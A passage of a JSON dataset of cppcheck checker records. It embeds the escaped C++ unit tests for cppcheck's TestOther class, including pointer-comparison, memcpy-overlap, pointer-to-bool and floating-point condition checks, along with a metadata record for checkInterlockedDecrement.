check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteStatement.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteStatement.json new file mode 100644 index 0000000..a6949f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteStatement.json @@ -0,0 +1,13 @@ +{ + "name": "checkIncompleteStatement", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 55, + "branches": 20, + "apis": 72, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInterlockedDecrement.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInterlockedDecrement.json new file mode 100644 index 0000000..2476651 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkInterlockedDecrement.json @@ -0,0 +1,22 @@ +{ + "name": "checkInterlockedDecrement", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 36, + "branches": 15, + "apis": 54, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 370 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n 